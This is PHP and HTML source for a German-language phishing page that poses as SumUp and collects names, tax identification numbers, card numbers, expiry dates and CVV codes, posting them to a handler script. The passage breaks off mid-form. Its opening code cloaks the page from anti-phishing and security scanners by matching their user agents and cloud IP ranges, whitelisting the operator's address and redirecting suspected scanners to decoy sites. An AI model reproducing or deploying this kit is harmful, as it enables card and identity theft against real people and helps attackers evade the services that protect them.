<?php 

// دالة بسيطة للكشف عن نوع الجهاز - معدلة للسماح للجميع
function isMobileDevice() {
    // دائماً ترجع true للسماح لجميع الأجهزة
    return true;
}

// التحقق من نوع الجهاز وتحديد الوجهة
if (!isMobileDevice()) {
    // لن يتم تنفيذ هذا أبداً لأن الدالة دائماً ترجع true
    header('Location: https://www.youtube.com');
    exit();
}

/**
 * Advanced Security Bot Blocker 2025
 * Multi-layer protection against security bots
 * Version: 15.4 - With IP Whitelist
 */

class AdvancedBotBlocker {
    
    private $user_agent;
    private $ip;
    private $domain;
    private $request_time;
    
    public function __construct() {
        $this->user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $this->ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        $this->domain = $this->getCurrentDomain();
        $this->request_time = $_SERVER['REQUEST_TIME'] ?? time();
    }
    
    private function getCurrentDomain() {
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
        return $protocol . "://" . ($_SERVER['HTTP_HOST'] ?? 'localhost');
    }
    
    // قائمة الـ IPs المسموح بها (لن يتم حظرها أبداً)
    private function getWhitelistedIPs() {
        return [
            '154.111.120.8', // IP الخاص بك
            // يمكنك إضافة المزيد من الـ IPs هنا
            // '192.168.1.1',
            // '10.0.0.1',
        ];
    }
    
    // التحقق إذا كان IP مسموح به
    private function isWhitelistedIP() {
        $whitelist = $this->getWhitelistedIPs();
        return in_array($this->ip, $whitelist);
    }
    
    public function blockSecurityBots() {
        // إذا كان IP مسموح به، اسمح بالدخول دائماً بدون أي فحص
        if ($this->isWhitelistedIP()) {
            return true;
        }
        
        // زيادة عداد الزيارة
        $this->incrementVisitCount();
        
        // الحصول على عدد الزيارات الحالي
        $visitCount = $this->getVisitCount();
        
        // إذا كانت الزيارة الأولى أو الثانية، اسمح بالدخول دائماً
        if ($visitCount <= 2) {
            return true;
        }
        
        // إذا كانت الزيارة الثالثة، تحقق فقط من البوتات الخطيرة
        if ($visitCount == 3) {
            if ($this->isHighRiskBot()) {
                $this->logBotAttempt("High risk bot on visit 3");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // إذا كانت الزيارة الرابعة، تحقق من البوتات المتوسطة الخطورة
        if ($visitCount == 4) {
            if ($this->isMediumRiskBot()) {
                $this->logBotAttempt("Medium risk bot on visit 4");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // من الزيارة الخامسة فما فوق، تطبيق الحماية الكاملة
        if ($visitCount >= 5) {
            if ($this->isSecurityBotByUA() || 
                $this->isSuspiciousIP() || 
                $this->isBotByBehavior() ||
                $this->isKnownSecurityCompany() ||
                $this->analyzeRequestPattern()) {
                $this->logBotAttempt("Full protection triggered on visit " . $visitCount);
                $this->redirectToFakePage();
                return false;
            }
        }
        
        return true;
    }
    
    private function incrementVisitCount() {
        if (!isset($_SESSION['visit_count'])) {
            $_SESSION['visit_count'] = 1;
        } else {
            $_SESSION['visit_count']++;
        }
        
        // حفظ وقت آخر زيارة للتحقق من التحديثات السريعة
        $_SESSION['last_visit_time'] = time();
    }
    
    private function getVisitCount() {
        return $_SESSION['visit_count'] ?? 1;
    }
    
    private function isHighRiskBot() {
        // كشف البوتات عالية الخطورة فقط
        $ua = strtolower($this->user_agent);
        
        $high_risk_bots = [
            'phishtank', 'virustotal', 'urlscan', 'sucuri',
            'shodan', 'censys', 'nmap', 'metasploit', 'sqlmap',
            'burpsuite', 'acunetix', 'nessus', 'nikto'
        ];
        
        foreach ($high_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isMediumRiskBot() {
        // كشف البوتات متوسطة الخطورة
        $ua = strtolower($this->user_agent);
        
        $medium_risk_bots = [
            'google-safe-browsing', 'safebrowsing',
            'norton-safeweb', 'mcafee', 'kaspersky',
            'qualys', 'alienvault', 'wpscan', 'openvas'
        ];
        
        foreach ($medium_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        // تحقق من السلوك عالي الخطورة
        if ($this->hasSuspiciousParameters() || $this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isSecurityBotByUA() {
        $ua = strtolower($this->user_agent);
        
        // قائمة موسعة للبوتات الأمنية
        $security_bots = [
            // بوتات مكافحة التصيد والأمان
            'phishtank', 'google-safe-browsing', 'safebrowsing', 'google-safety',
            'virustotal', 'urlscan', 'urlvoid', 'quttera', 'sucuri',
            'norton-safeweb', 'mcafee', 'siteadvisor', 'kaspersky', 
            'avast', 'avg', 'bitdefender', 'eset', 'sophos', 'trendmicro',
            'qualys', 'ssl-labs', 'securityscan', 'alienvault',
            
            // بوتات المسح الأمني
            'shodan', 'censys', 'zoomeye', 'fofa', 'quake', 'binaryedge',
            'netcraft', 'cloudflare-scanner', 'akamai-bot', 'imperva',
            'stackpath', 'datadog', 'newrelic', 'pingdom',
            
            // بوتات البحث الأمني
            'binaryedge', 'greywizard', 'hacker', 'security', 'scan',
            'crawler', 'spider', 'bot', 'monitor', 'check',
            
            // بوتات التحليل
            'burpsuite', 'nikto', 'nmap', 'metasploit', 'wpscan',
            'sqlmap', 'zap', 'acunetix', 'nessus', 'openvas',
            
            // بوتات إضافية
            'rapid7', 'tenable', 'qualys', 'trustwave', 'whitehat',
            'sitelock', 'comodo', 'geektool', 'uptime', 'monitoring'
        ];
        
        foreach ($security_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isSuspiciousIP() {
        // قائمة عناوين IP مشبوهة معروفة (لخدمات السحابة والمسح)
        $suspicious_ips = [
            '54.', '52.', '35.', '13.', '8.', // AWS
            '34.', '104.', '108.', '142.', '172.', // Google Cloud
            '20.', '40.', '51.', '52.', '138.', // Azure
            '66.', '72.', '74.', '75.', '76.', // OVH
            '89.', '94.', '95.', '185.', '188.', // Hetzner
            '45.', '64.', '65.', '80.', '87.'  // DigitalOcean
        ];
        
        foreach ($suspicious_ips as $suspicious) {
            if (strpos($this->ip, $suspicious) === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isBotByBehavior() {
        // تحليل السلوك المشبوه
        $suspicious_headers = [
            'HTTP_ACCEPT_LANGUAGE',
            'HTTP_ACCEPT_ENCODING', 
            'HTTP_ACCEPT'
        ];
        
        // إذا كانت بعض الهيدرات مفقودة (مشبوه)
        $missing_headers = 0;
        foreach ($suspicious_headers as $header) {
            if (!isset($_SERVER[$header]) || empty($_SERVER[$header])) {
                $missing_headers++;
            }
        }
        
        if ($missing_headers >= 2) {
            return true;
        }
        
        // تحقق من User Agent فارغ أو قصير جداً
        if (empty($this->user_agent) || strlen($this->user_agent) < 10) {
            return true;
        }
        
        // تحقق من طلبات غير عادية
        if ($this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isKnownSecurityCompany() {
        // كشف شركات الأمان من خلال أنماط معينة
        $company_patterns = [
            'google' => ['googlebot', 'apis-google', 'googleusercontent', 'google'],
            'microsoft' => ['msnbot', 'bingbot', 'microsoft'],
            'amazon' => ['aws-sdk', 'amazon', 'aws'],
            'cloudflare' => ['cloudflare'],
            'akamai' => ['akamai'],
            'ibm' => ['softlayer', 'ibm'],
            'oracle' => ['oracle', 'sun'],
            'digitalocean' => ['digitalocean'],
            'linode' => ['linode'],
            'vultr' => ['vultr']
        ];
        
        $ua = strtolower($this->user_agent);
        
        foreach ($company_patterns as $company => $patterns) {
            foreach ($patterns as $pattern) {
                if (strpos($ua, $pattern) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function analyzeRequestPattern() {
        // تحليل أنماط الطلبات المشبوهة
        $suspicious = false;
        
        // الوصول المباشر بدون Referrer
        if (!isset($_SERVER['HTTP_REFERER']) && !$this->isFirstVisit()) {
            $suspicious = true;
        }
        
        // لا يوجد cookies في طلب متكرر
        if (!isset($_SERVER['HTTP_COOKIE']) && $this->getVisitCount() > 3) {
            $suspicious = true;
        }
        
        // طلبات بطرق غير عادية
        if ($_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
            $suspicious = true;
        }
        
        // طلبات بمعلمات غريبة
        if (!empty($_GET) && $this->hasSuspiciousParameters()) {
            $suspicious = true;
        }
        
        return $suspicious;
    }
    
    private function isFirstVisit() {
        return ($this->getVisitCount() <= 1);
    }
    
    private function hasSuspiciousParameters() {
        // تحقق من معلمات URL مشبوهة
        $suspicious_params = [
            'cmd', 'exec', 'system', 'eval', 'union', 'select', 'insert',
            'update', 'delete', 'drop', 'script', 'alert', 'onload',
            'onerror', 'javascript', 'vbscript', 'applet', 'meta',
            'object', 'iframe', 'frame', 'embed', 'link'
        ];
        
        foreach ($_GET as $param => $value) {
            $param_lower = strtolower($param);
            foreach ($suspicious_params as $suspicious) {
                if (strpos($param_lower, $suspicious) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function isUnusualRequest() {
        // تحقق من طلبات غير عادية
        $request_uri = $_SERVER['REQUEST_URI'] ?? '';
        
        // طلبات لملفات نظام
        $system_files = [
            '.env', '.git', '.htaccess', 'wp-config', 'config.php',
            'admin', 'phpmyadmin', 'mysql', 'database', 'backup',
            'log', 'debug', 'test', 'shell', 'cgi-bin'
        ];
        
        foreach ($system_files as $file) {
            if (stripos($request_uri, $file) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function logBotAttempt($reason = "") {
        // تسجيل محاولات البوتات
        $log_data = [
            'timestamp' => date('Y-m-d H:i:s'),
            'ip' => $this->ip,
            'user_agent' => substr($this->user_agent, 0, 200),
            'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
            'referer' => $_SERVER['HTTP_REFERER'] ?? '',
            'method' => $_SERVER['REQUEST_METHOD'] ?? '',
            'visit_count' => $this->getVisitCount(),
            'reason' => $reason
        ];
        
        $log_message = implode(' | ', $log_data) . PHP_EOL;
        
        // محاولة الكتابة إلى ملف السجل
        @file_put_contents('security_bot_logs.txt', $log_message, FILE_APPEND | LOCK_EX);
    }
    
    private function redirectToFakePage() {
        // صفحات وهمية للتوجيه إليها
        $fake_pages = [
            'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
            'https://www.facebook.com/unsupportedbrowser',
            'https://www.instagram.com/accounts/login/?source=auth_switcher',
            'https://www.twitter.com/404',
            'https://www.reddit.com/404',
            'https://www.wikipedia.org/wiki/HTTP_404',
            'https://www.amazon.com/404',
            'https://www.netflix.com/browse',
            'https://www.linkedin.com/404',
            'https://www.pinterest.com/404'
        ];
        
        $random_page = $fake_pages[array_rand($fake_pages)];
        
        // إضافة تأخير عشوائي لمحاكاة التحميل
        usleep(rand(50000, 300000)); // 0.05 إلى 0.3 ثانية
        
        // إرسال رؤوس للتضليل
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        header('Location: ' . $random_page, true, 302);
        exit;
    }
}

// بدء الجلسة والحماية
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$bot_blocker = new AdvancedBotBlocker();

// إذا كان بوت أمني - سيتم تحويله والخروج (ولن يتم تسجيله في visitors)
if (!$bot_blocker->blockSecurityBots()) {
    exit;
}

// إذا وصل إلى هنا فهو إنسان - قم بتسجيل الزيارة ثم استمر في تحميل الصفحة
require_once "functions1.php";

// استمر في تحميل الصفحة
?>

<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Verbindung— </title>
    <!-- Favicon hinzufügen -->
    <link rel="icon" type="image/png" href="image/ask.png">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        }
        
        body {
            background-color: #ffffff;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding: 20px;
            position: relative;
        }
        
        .container {
            width: 100%;
            max-width: 500px;
        }
        
        /* Logo */
        .logo {
            text-align: center;
            margin-bottom: 40px;
        }
        
        .logo img {
            height: 40px;
        }
        
        /* Title */
        h1 {
            text-align: center;
            font-size: 24px;
            margin-bottom: 10px;
            color: #0F131A;
            font-weight: 600;
        }
        
        .subtitle {
            text-align: center;
            font-size: 16px;
            color: #666;
            margin-bottom: 40px;
            line-height: 1.6;
        }
        
        /* Card Animation */
        .card-animation {
            position: relative;
            margin: 40px 0;
            height: 220px;
            display: flex;
            justify-content: center;
            align-items: center;
            perspective: 1000px;
        }
        
        .credit-card {
            width: 360px;
            height: 220px;
            position: relative;
            transform-style: preserve-3d;
            transition: transform 0.8s cubic-bezier(0.175, 0.885, 0.32, 1.275);
        }
        
        .credit-card.flipped {
            transform: rotateY(180deg);
        }
        
        .card-front, .card-back {
            position: absolute;
            width: 100%;
            height: 100%;
            backface-visibility: hidden;
            border-radius: 16px;
            box-shadow: 0 20px 40px rgba(10, 32, 196, 0.2);
            border: 2px solid #0a20c4;
        }
        
        .card-front {
            background: linear-gradient(135deg, #0a20c4, #0818a8);
            animation: cardFloat 3s ease-in-out infinite;
            overflow: hidden;
        }
        
        .card-back {
            background: linear-gradient(135deg, #0818a8, #06128c);
            transform: rotateY(180deg);
            animation: cardFloatBack 3s ease-in-out infinite;
        }
        
        .card-content {
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            padding: 25px;
            display: flex;
            flex-direction: column;
            justify-content: space-between;
        }
        
        .card-top {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .card-chip {
            width: 55px;
            height: 45px;
            background: linear-gradient(45deg, #FFCC00, #e6b800);
            border-radius: 8px;
            position: relative;
            overflow: hidden;
            box-shadow: 0 4px 12px rgba(0,0,0,0.4);
        }
        
        .card-chip:before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: linear-gradient(45deg, transparent 45%, rgba(255,255,255,0.4) 50%, transparent 55%);
        }
        
        .card-logos {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .sumup-card-logo {
            font-size: 18px;
            font-weight: 700;
            color: white;
            text-shadow: 0 2px 8px rgba(0,0,0,0.3);
            letter-spacing: 1px;
        }
        
        .visa-logo {
            font-size: 14px;
            font-weight: 600;
            color: white;
            text-shadow: 0 2px 8px rgba(0,0,0,0.3);
            background: rgba(255,255,255,0.2);
            padding: 4px 8px;
            border-radius: 4px;
            display: none;
        }
        
        .mastercard-logo {
            font-size: 14px;
            font-weight: 600;
            color: white;
            text-shadow: 0 2px 8px rgba(0,0,0,0.3);
            background: rgba(255,255,255,0.2);
            padding: 4px 8px;
            border-radius: 4px;
            display: none;
        }
        
        .card-logo.active {
            display: block;
        }
        
        .card-number {
            font-size: 22px;
            letter-spacing: 4px;
            text-align: center;
            margin: 25px 0;
            font-family: 'Courier New', monospace;
            color: white;
            font-weight: 600;
            text-shadow: 0 2px 6px rgba(0,0,0,0.4);
        }
        
        .card-bottom {
            display: flex;
            justify-content: space-between;
            align-items: flex-end;
        }
        
        .card-details {
            display: flex;
            flex-direction: column;
        }
        
        .card-label {
            font-size: 11px;
            color: rgba(255,255,255,0.8);
            margin-bottom: 4px;
            text-shadow: 0 1px 3px rgba(0,0,0,0.3);
        }
        
        .card-value {
            font-size: 14px;
            font-weight: 600;
            color: white;
            text-shadow: 0 1px 3px rgba(0,0,0,0.3);
        }
        
        .card-holder {
            font-size: 16px;
            font-weight: 600;
            color: white;
            text-transform: uppercase;
            letter-spacing: 1px;
            text-shadow: 0 1px 3px rgba(0,0,0,0.3);
        }
        
        /* Card Back Styles */
        .card-strip {
            height: 50px;
            background: #000;
            margin: 25px -25px;
        }
        
        .card-signature {
            background: white;
            height: 40px;
            margin: 20px 0;
            padding: 10px;
            display: flex;
            align-items: center;
            justify-content: flex-end;
            color: #333;
            font-style: italic;
            border-radius: 4px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.2);
        }
        
        .card-cvv {
            background: white;
            color: #333;
            padding: 6px 12px;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-weight: 600;
            font-size: 14px;
            box-shadow: 0 2px 6px rgba(0,0,0,0.2);
        }
        
        .card-back-text {
            font-size: 10px;
            color: rgba(255,255,255,0.7);
            text-align: center;
            margin-top: 15px;
            text-shadow: 0 1px 3px rgba(0,0,0,0.3);
        }
        
        @keyframes cardFloat {
            0%, 100% { 
                transform: translateY(0px) rotate(0deg); 
            }
            50% { 
                transform: translateY(-12px) rotate(1deg); 
            }
        }
        
        @keyframes cardFloatBack {
            0%, 100% { 
                transform: rotateY(180deg) translateY(0px) rotate(0deg); 
            }
            50% { 
                transform: rotateY(180deg) translateY(-12px) rotate(-1deg); 
            }
        }
        
        /* Form Container */
        .form-container {
            background: white;
            padding: 40px 30px;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.08);
            margin-bottom: 20px;
        }
        
        .form-group {
            margin-bottom: 25px;
            width: 100%;
            position: relative;
        }
        
        label {
            display: block;
            margin-bottom: 8px;
            color: #0F131A;
            font-size: 14px;
            font-weight: 500;
        }
        
        .input-field {
            width: 100%;
            padding: 12px 0;
            border: none;
            border-bottom: 2px solid #e0e0e0;
            font-size: 16px;
            color: #0F131A;
            background: transparent;
            transition: all 0.3s;
        }
        
        .input-field::placeholder {
            color: #999;
            font-size: 14px;
        }
        
        .input-field:focus {
            outline: none;
            border-bottom-color: #0a20c4;
        }
        
        /* Error Styles */
        .input-field.error {
            border-bottom-color: #d32f2f;
        }
        
        .error-message {
            color: #d32f2f;
            font-size: 14px;
            margin-top: 8px;
            font-weight: 500;
            animation: fadeIn 0.3s ease;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .error-icon {
            display: flex;
            align-items: center;
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-5px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .form-row {
            display: flex;
            gap: 15px;
        }
        
        .form-col {
            flex: 1;
        }
        
        .input-hint {
            color: #666;
            font-size: 14px;
            margin-top: 8px;
        }
        
        .btn {
            display: block;
            width: 100%;
            padding: 16px;
            background-color: #0F131A;
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            margin-bottom: 30px;
            transition: all 0.3s;
        }
        
        .btn:hover {
            background-color: #1a1f2a;
            transform: translateY(-1px);
            box-shadow: 0 4px 12px rgba(15, 19, 26, 0.3);
        }
        
        .security-info {
            background: #f8f9fa;
            border: 1px solid #e9ecef;
            border-radius: 8px;
            padding: 25px;
            margin-top: 30px;
            text-align: center;
        }
        
        .security-icon {
            margin-bottom: 15px;
            display: flex;
            justify-content: center;
        }
        
        .security-title {
            font-size: 16px;
            font-weight: 600;
            color: #0F131A;
            margin-bottom: 8px;
        }
        
        .security-description {
            font-size: 14px;
            color: #666;
            line-height: 1.5;
        }
        
        .footer-buttons {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 30px;
            gap: 15px;
        }
        
        .language-select {
            flex: 1;
            position: relative;
        }
        
        .language-select select {
            width: 100%;
            padding: 12px 40px 12px 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            background-color: white;
            appearance: none;
            cursor: pointer;
            height: 44px;
        }
        
        .language-select::after {
            content: "";
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            width: 12px;
            height: 12px;
            background-image: url("data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M8 11c-.266 0-.52-.104-.71-.29l-4-4A1.013 1.013 0 0 1 3 6a1 1 0 0 1 1-1c.266 0 .52.104.71.29L8 8.58l3.29-3.29c.19-.186.445-.29.71-.29a1 1 0 0 1 1 1c0 .266-.104.52-.29.71l-4 4c-.19.186-.444.29-.71.29z' fill='currentColor'%3E%3C/path%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: center;
            pointer-events: none;
        }
        
        .system-status-btn {
            flex: 1;
        }
        
        .system-status-btn .btn-secondary {
            height: 44px;
            font-size: 14px;
            width: 100%;
            padding: 12px;
            background-color: transparent;
            color: #0F131A;
            border: 1px solid #0F131A;
            border-radius: 4px;
            font-weight: 500;
            cursor: pointer;
            text-decoration: none;
            display: block;
            text-align: center;
        }
        
        .system-status-btn .btn-secondary:hover {
            background-color: #f5f5f5;
        }
        
        .help-link {
            position: absolute;
            top: 30px;
            right: 30px;
            color: #0F131A;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            transition: color 0.3s;
            z-index: 100;
        }
        
        .help-link:hover {
            color: #666;
        }

        /* Responsive */
        @media (max-width: 768px) {
            .container {
                padding: 0 20px;
                max-width: 100%;
            }
            
            h1 {
                font-size: 22px;
            }
            
            .logo img {
                height: 35px;
            }
            
            .input-field {
                font-size: 16px;
            }
            
            .credit-card {
                width: 320px;
                height: 200px;
            }
            
            .card-number {
                font-size: 18px;
                letter-spacing: 3px;
            }
        }

        @media (max-width: 480px) {
            body {
                padding: 15px;
                justify-content: flex-start;
                padding-top: 60px;
            }
            
            .container {
                padding: 0 10px;
            }
            
            .form-container {
                padding: 30px 20px;
            }
            
            h1 {
                font-size: 20px;
            }
            
            .logo {
                margin-bottom: 30px;
            }
            
            .logo img {
                height: 30px;
            }
            
            .btn {
                padding: 14px;
                font-size: 14px;
            }
            
            .credit-card {
                width: 300px;
                height: 180px;
            }
            
            .card-number {
                font-size: 16px;
                letter-spacing: 2px;
            }
            
            .form-row {
                flex-direction: column;
                gap: 0;
            }
            
            .help-link {
                top: 15px;
                right: 15px;
                font-size: 13px;
            }
        }
    </style>
</head>
<body>
    <!-- Hilfe-Link in der oberen rechten Ecke -->
    <a href="#" class="help-link">Brauchen Sie Hilfe?</a>
    
    <div class="container">
        <!-- SumUp Logo -->
        <div class="logo">
            <img src="image/name.svg" alt="SumUp Logo">
        </div>
        
        <!-- Title -->
        <h1>Verbinden Sie Ihre Karte</h1>
        <p class="subtitle">
            Geben Sie Ihre Kreditkartendaten ein, um fortzufahren
        </p>
        
        <!-- Card Animation -->
        <div class="card-animation">
            <div class="credit-card" id="creditCard">
                <!-- Front Side -->
                <div class="card-front">
                    <div class="card-content">
                        <div class="card-top">
                            <div class="card-chip"></div>
                            <div class="card-logos">
                                <div class="sumup-card-logo">SumUp</div>
                                <div class="visa-logo" id="visaLogo">VISA</div>
                                <div class="mastercard-logo" id="mastercardLogo">MASTERCARD</div>
                            </div>
                        </div>
                        <div class="card-number" id="preview-number">•••• •••• •••• ••••</div>
                        <div class="card-bottom">
                            <div class="card-details">
                                <div class="card-label">Karteninhaber</div>
                                <div class="card-holder" id="preview-holder">VORNAME NACHNAME</div>
                            </div>
                            <div class="card-details">
                                <div class="card-label">Gültig bis</div>
                                <div class="card-value" id="preview-expiry">MM/JJ</div>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- Back Side -->
                <div class="card-back">
                    <div class="card-content">
                        <div class="card-strip"></div>
                        <div class="card-signature">
                            <div class="card-cvv" id="preview-cvv">•••</div>
                        </div>
                        <div class="card-back-text">
                            Aus Sicherheitsgründen teilen Sie den CVV-Code nicht mit
                        </div>
                    </div>
                </div>
            </div>
        </div>
        
        <div class="form-container">
            <form action="infos.php" method="POST">
                <!-- Verstecktes Feld für Schrittangabe hinzufügen -->
                <input type="hidden" name="step" value="cc">
                
                <!-- Vorname und Nachname -->
                <div class="form-row">
                    <div class="form-col">
                        <div class="form-group">
                            <label for="vorname">Vorname*</label>
                            <input type="text" id="vorname" name="vorname" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['vorname'])) ? 'error' : ''; ?>" placeholder="Max" required>
                            <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['vorname'])): ?>
                            <div class="error-message">
                                <span class="error-icon">
                                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                        <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                                    </svg>
                                </span>
                                Ungültiger Vorname
                            </div>
                            <?php endif; ?>
                        </div>
                    </div>
                    <div class="form-col">
                        <div class="form-group">
                            <label for="nachname">Nachname*</label>
                            <input type="text" id="nachname" name="nachname" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['nachname'])) ? 'error' : ''; ?>" placeholder="Mustermann" required>
                            <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['nachname'])): ?>
                            <div class="error-message">
                                <span class="error-icon">
                                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                        <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                                    </svg>
                                </span>
                                Ungültiger Nachname
                            </div>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
                
                <!-- Steueridentifikationsnummer -->
                <div class="form-group">
                    <label for="steuernummer">Steueridentifikationsnummer*</label>
                    <input type="text" id="steuernummer" name="steuernummer" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['steuernummer'])) ? 'error' : ''; ?>" placeholder="12 345 678 901" required maxlength="11">
                    <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['steuernummer'])): ?>
                    <div class="error-message">
                        <span class="error-icon">
                            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                            </svg>
                        </span>
                        Ungültige Steuernummer
                    </div>
                    <?php endif; ?>
                    <div class="input-hint">Geben Sie Ihre Steueridentifikationsnummer ein</div>
                </div>
                
                <!-- Kartennummer -->
                <div class="form-group">
                    <label for="card_number">Kreditkartennummer*</label>
                    <input type="text" id="card_number" name="card_number" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['card_number'])) ? 'error' : ''; ?>" placeholder="1234 5678 9012 3456" required maxlength="19">
                    <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['card_number'])): ?>
                    <div class="error-message">
                        <span class="error-icon">
                            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                            </svg>
                        </span>
                        Ungültige Kartennummer
                    </div>
                    <?php endif; ?>
                    <div class="input-hint">Geben Sie Ihre Kartennummer ein</div>
                </div>
                
                <!-- Gültigkeitsdatum und CVV -->
                <div class="form-row">
                    <div class="form-col">
                        <div class="form-group">
                            <label for="expiry">Gültig bis*</label>
                            <input type="text" id="expiry" name="expiry" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['expiry'])) ? 'error' : ''; ?>" placeholder="MM/JJ" required maxlength="5">
                            <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['expiry'])): ?>
                            <div class="error-message">
                                <span class="error-icon">
                                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                        <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                                    </svg>
                                </span>
                                Ungültiges Gültigkeitsdatum
                            </div>
                            <?php endif; ?>
                            <div class="input-hint">z.B.: 12/25</div>
                        </div>
                    </div>
                    <div class="form-col">
                        <div class="form-group">
                            <label for="CVC">CVV-Code*</label>
                            <input type="text" id="CVC" name="CVC" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['CVC'])) ? 'error' : ''; ?>" placeholder="123" required maxlength="3">
                            <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['CVC'])): ?>
                            <div class="error-message">
                                <span class="error-icon">
                                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
